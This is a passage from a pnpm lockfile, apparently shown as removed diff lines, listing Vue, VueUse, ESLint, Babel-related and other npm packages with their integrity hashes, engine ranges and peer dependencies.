sha512-UJaXR54vMG61i8XNIzTSf2Q7MOqZHpp8+x3XLGtE3+fL+nQd+k7O5+X3D/uWrnQXOdMw5VPih+Uremcw+u1woQ==} - peerDependencies: - vue: 3.5.25 - - '@vue/shared@3.5.25': - resolution: {integrity: sha512-AbOPdQQnAnzs58H2FrrDxYj/TJfmeS2jdfEEhgiKINy+bnOANmVizIEgq1r+C5zsbs6l1CCQxtcj71rwNQ4jWg==} - - '@vueuse/core@14.1.0': - resolution: {integrity: sha512-rgBinKs07hAYyPF834mDTigH7BtPqvZ3Pryuzt1SD/lg5wEcWqvwzXXYGEDb2/cP0Sj5zSvHl3WkmMELr5kfWw==} - peerDependencies: - vue: ^3.5.0 - - '@vueuse/integrations@14.1.0': - resolution: {integrity: sha512-eNQPdisnO9SvdydTIXnTE7c29yOsJBD/xkwEyQLdhDC/LKbqrFpXHb3uS//7NcIrQO3fWVuvMGp8dbK6mNEMCA==} - peerDependencies: - async-validator: ^4 - axios: ^1 - change-case: ^5 - drauu: ^0.4 - focus-trap: ^7 - fuse.js: ^7 - idb-keyval: ^6 - jwt-decode: ^4 - nprogress: ^0.2 - qrcode: ^1.5 - sortablejs: ^1 - universal-cookie: ^7 || ^8 - vue: ^3.5.0 - peerDependenciesMeta: - async-validator: - optional: true - axios: - optional: true - change-case: - optional: true - drauu: - optional: true - focus-trap: - optional: true - fuse.js: - optional: true - idb-keyval: - optional: true - jwt-decode: - optional: true - nprogress: - optional: true - qrcode: - optional: true - sortablejs: - optional: true - universal-cookie: - optional: true - - '@vueuse/metadata@14.1.0': - resolution: {integrity: sha512-7hK4g015rWn2PhKcZ99NyT+ZD9sbwm7SGvp7k+k+rKGWnLjS/oQozoIZzWfCewSUeBmnJkIb+CNr7Zc/EyRnnA==} - - '@vueuse/shared@14.1.0': - resolution: {integrity: sha512-EcKxtYvn6gx1F8z9J5/rsg3+lTQnvOruQd8fUecW99DCK04BkWD7z5KQ/wTAx+DazyoEE9dJt/zV8OIEQbM6kw==} - peerDependencies: - vue: ^3.5.0 - - acorn-jsx@5.3.2: - resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} - peerDependencies: - acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 - - acorn@8.14.1: - resolution: {integrity: sha512-OvQ/2pUDKmgfCg++xsTX1wGxfTaszcHVcTctW4UJB4hibJx2HXxxO5UmVgyjMa+ZDsiaf5wWLXYpRWMmBI0QHg==} - engines: {node: '>=0.4.0'} - hasBin: true - - ajv@6.12.6: - resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} - - ansi-styles@4.3.0: - resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} - engines: {node: '>=8'} - - argparse@2.0.1: - resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} - - asynckit@0.4.0: - resolution: {integrity: sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==} - - autoprefixer@10.4.27: - resolution: {integrity: sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA==} - engines: {node: ^10 || ^12 || >=14} - hasBin: true - peerDependencies: - postcss: ^8.1.0 - - axios@1.11.0: - resolution: {integrity: sha512-1Lx3WLFQWm3ooKDYZD1eXmoGO9fxYQjrycfHFC8P0sCfQVXyROp0p9PFWBehewBOdCwHc+f/b8I0fMto5eSfwA==} - - balanced-match@1.0.2: - resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} - - baseline-browser-mapping@2.10.9: - resolution: {integrity: sha512-OZd0e2mU11ClX8+IdXe3r0dbqMEznRiT4TfbhYIbcRPZkqJ7Qwer8ij3GZAmLsRKa+II9V1v5czCkvmHH3XZBg==} - engines: {node: '>=6.0.0'} - hasBin: true - - birpc@2.9.0: - resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} - - brace-expansion@1.1.11: - resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} - - browserslist@4.24.4: - resolution: {integrity: sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==} - engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} - hasBin: true - - browserslist@4.28.1: - resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} - engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} - hasBin: true - - call-bind-apply-helpers@1.0.2: - resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} - engines: {node: '>= 0.4'} - - callsites@3.1.0: - resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} - engines: {node: '>=6'} - - caniuse-lite@1.0.30001780: - resolution: {integrity: sha512-llngX0E7nQci5BPJDqoZSbuZ5Bcs9F5db7EtgfwBerX9XGtkkiO4NwfDDIRzHTTwcYC8vC7bmeUEPGrKlR/TkQ==} - - ccount@2.0.1: - resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} - - chalk@4.1.2: - resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} - engines: {node: '>=10'} - - character-entities-html4@2.1.0: - resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} - - character-entities-legacy@3.0.0: - resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} - - color-convert@2.0.1: - resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} - engines: {node: '>=7.0.0'} - - color-name@1.1.4: - resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - - combined-stream@1.0.8: - resolution: {integrity: sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==} - engines: {node: '>= 0.8'} - - comma-separated-tokens@2.0.3: - resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} - - concat-map@0.0.1: - resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} - - convert-source-map@2.0.0: - resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} - - copy-anything@4.0.5: - resolution: {integrity: sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==} - engines: {node: '>=18'} - - cross-spawn@7.0.6: - resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} - engines: {node: '>= 8'} - - csstype@3.1.3: - resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} - - csstype@3.2.3: - resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==} - - debug@4.4.0: - resolution: {integrity: sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==} - engines: {node: '>=6.0'} - peerDependencies: - supports-color: '*' - peerDependenciesMeta: - supports-color: - optional: true - - deep-is@0.1.4: - resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} - - delayed-stream@1.0.0: - resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} - engines: {node: '>=0.4.0'} - - dequal@2.0.3: - resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} - engines: {node: '>=6'} - - detect-libc@2.1.2: - resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} - engines: {node: '>=8'} - - devlop@1.1.0: - resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} - - dunder-proto@1.0.1: - resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} - engines: {node: '>= 0.4'} - - electron-to-chromium@1.5.141: - resolution: {integrity: sha512-qS+qH9oqVYc1ooubTiB9l904WVyM6qNYxtOEEGReoZXw3xlqeYdFr5GclNzbkAufWgwWLEPoDi3d9MoRwwIjGw==} - - electron-to-chromium@1.5.321: - resolution: {integrity: sha512-L2C7Q279W2D/J4PLZLk7sebOILDSWos7bMsMNN06rK482umHUrh/3lM8G7IlHFOYip2oAg5nha1rCMxr/rs6ZQ==} - - enhanced-resolve@5.20.1: - resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} - engines: {node: '>=10.13.0'} - - entities@4.5.0: - resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} - engines: {node: '>=0.12'} - - es-define-property@1.0.1: - resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} - engines: {node: '>= 0.4'} - - es-errors@1.3.0: - resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} - engines: {node: '>= 0.4'} - - es-object-atoms@1.1.1: - resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} - engines: {node: '>= 0.4'} - - es-set-tostringtag@2.1.0: - resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==} - engines: {node: '>= 0.4'} - - esbuild@0.25.3: - resolution: {integrity: sha512-qKA6Pvai73+M2FtftpNKRxJ78GIjmFXFxd/1DVBqGo/qNhLSfv+G12n9pNoWdytJC8U00TrViOwpjT0zgqQS8Q==} - engines: {node: '>=18'} - hasBin: true - - escalade@3.2.0: - resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} - engines: {node: '>=6'} - - escape-string-regexp@4.0.0: - resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} - engines: {node: '>=10'} - - eslint-plugin-react-hooks@5.2.0: - resolution: {integrity: sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==} - engines: {node: '>=10'} - peerDependencies: - eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 - - eslint-plugin-react-refresh@0.4.20: - resolution: {integrity: sha512-XpbHQ2q5gUF8BGOX4dHe+71qoirYMhApEPZ7sfhF/dNnOF1UXnCMGZf79SFTBO7Bz5YEIT4TMieSlJBWhP9WBA==} - peerDependencies: - eslint: '>=8.40' - - eslint-scope@8.3.0: - resolution: {integrity: sha512-pUNxi75F8MJ/GdeKtVLSbYg4ZI34J6C0C7sbL4YOp2exGwen7ZsuBqKzUhXd0qMQ362yET3z+uPwKeg/0C2XCQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - eslint-visitor-keys@3.4.3: - resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - - eslint-visitor-keys@4.2.0: - resolution: {integrity: sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - eslint@9.25.1: - resolution: {integrity: sha512-E6Mtz9oGQWDCpV12319d59n4tx9zOTXSTmc8BLVxBx+G/0RdM5MvEEJLU9c0+aleoePYYgVTOsRblx433qmhWQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - hasBin: true - peerDependencies: - jiti: '*' - peerDependenciesMeta: - jiti: - optional: true - - espree@10.3.0: - resolution: {integrity: sha512-0QYC8b24HWY8zjRnDTL6RiHfDbAWn63qb4LMj1Z4b076A4une81+z03Kg7l7mn/48PUTqoLptSXez8oknU8Clg==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - esquery@1.6.0: - resolution: {integrity: sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==} - engines: {node: '>=0.10'} - - esrecurse@4.3.0: - resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} - engines: {node: '>=4.0'} - - estraverse@5.3.0: - resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} - engines: {node: '>=4.0'} - - estree-walker@2.0.2: - resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} - - esutils@2.0.3: - resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} - engines: {node: '>=0.10.0'} - - fast-deep-equal@3.1.3: - resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} - - fast-json-stable-stringify@2.1.0: - resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} - - fast-levenshtein@2.0.6: - resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} - - fdir@6.4.4: - resolution: {integrity: sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg==} - peerDependencies: - picomatch: ^3 || ^4 - peerDependenciesMeta: - picomatch: - optional: true - - fdir@6.5.0: - resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} - engines: {node: '>=12.0.0'} - peerDependencies: - picomatch: ^3 || ^4 - peerDependenciesMeta: - picomatch: - optional: true - - file-entry-cache@8.0.0: - resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==} - engines: {node: '>=16.0.0'} - - find-up@5.0.0: - resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} - engines: {node: '>=10'} - - flat-cache@4.0.1: - resolution: {integrity: sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==} - engines: {node: '>=16'} - - flatted@3.3.3: - resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} - - focus-trap@7.6.6: - resolution: {integrity: sha512-v/Z8bvMCajtx4mEXmOo7QEsIzlIOqRXTIwgUfsFOF9gEsespdbD0AkPIka1bSXZ8Y8oZ+2IVDQZePkTfEHZl7Q==} - - follow-redirects@1.15.11: - resolution: {integrity: sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==} - engines: {node: '>=4.0'} - peerDependencies: - debug: '*' - peerDependenciesMeta: - debug: - optional: true - - form-data@4.0.5: - resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==} - engines: {node: '>= 6'} - - fraction.js@5.3.4: - resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} - - fsevents@2.3.3: - resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} - engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} - os: [darwin] - - function-bind@1.1.2: - resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} - - gensync@1.0.0-beta.2: - resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} - engines: {node: '>=6.9.0'} - - get-intrinsic@1.3.0: - resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} - engines: {node: '>= 0.4'} - - get-proto@1.0.1: - resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} - engines: {node: '>= 0.4'} - - glob-parent@6.0.2: - resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} - engines: {node: '>=10.13.0'} - - globals@11.12.0: - resolution: {integrity: sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==} - engines: {node: '>=4'} - - globals@14.0.0: - resolution: {integrity: sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==} - engines: {node: '>=18'} - - globals@16.0.0: - resolution: {integrity: sha512-iInW14XItCXET01CQFqudPOWP2jYMl7T+QRQT+UNcR/iQncN/F0UNpgd76iFkBPgNQb4+X3LV9tLJYzwh+Gl3A==} - engines: {node: '>=18'} - - gopd@1.2.0: - resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} - engines: {node: '>= 0.4'} - - graceful-fs@4.2.11: - resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} - - has-flag@4.0.0: - resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} - engines: {node: '>=8'} - - has-symbols@1.1.0: - resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} - engines: {node: '>= 0.4'} - - has-tostringtag@1.0.2: - resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} - engines: {node: '>= 0.4'} - - hasown@2.0.2: - resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} - engines: {node: '>= 0.4'} - - hast-util-to-html@9.0.5: - resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==} - - hast-util-whitespace@3.0.0: - resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} - - hookable@5.5.3: - resolution: {integrity: sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==} - - htm@3.1.1: - resolution: {integrity: sha512-983Vyg8NwUE7JkZ6NmOqpCZ+sh1bKv2iYTlUkzlWmA5JD2acKoxd4KVxbMmxX/85mtfdnDmTFoNKcg5DGAvxNQ==} - - html-void-elements@3.0.0: - resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} - - ignore@5.3.2: - resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} - engines: {node: '>= 4'} - - import-fresh@3.3.1: - resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} - engines: {node: '>=6'} - - imurmurhash@0.1.4: - resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} - engines: {node: '>=0.8.19'} - - is-extglob@2.1.1: - resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} - engines: {node: '>=0.10.0'} - - is-glob@4.0.3: - resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} - engines: {node: '>=0.10.0'} - - is-what@5.5.0: - resolution: {integrity: sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==} - engines: {node: '>=18'} - - isexe@2.0.0: - resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} - - jiti@2.6.1: - resolution: {integrity: sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ==} - hasBin: true - - js-tokens@4.0.0: - resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} - - js-yaml@4.1.0: - resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} - hasBin: true - - jsesc@3.1.0: - resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} - engines: {node: '>=6'} - hasBin: true - - json-buffer@3.0.1: - resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==} - - json-schema-traverse@0.4.1: - resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} - - json-stable-stringify-without-jsonify@1.0.1: - resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} - - json5@2.2.3: - resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} - engines: {node: '>=6'} - hasBin: true - - keyv@4.5.4: - resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==} - - levn@0.4.1: - resolution: {integrity: 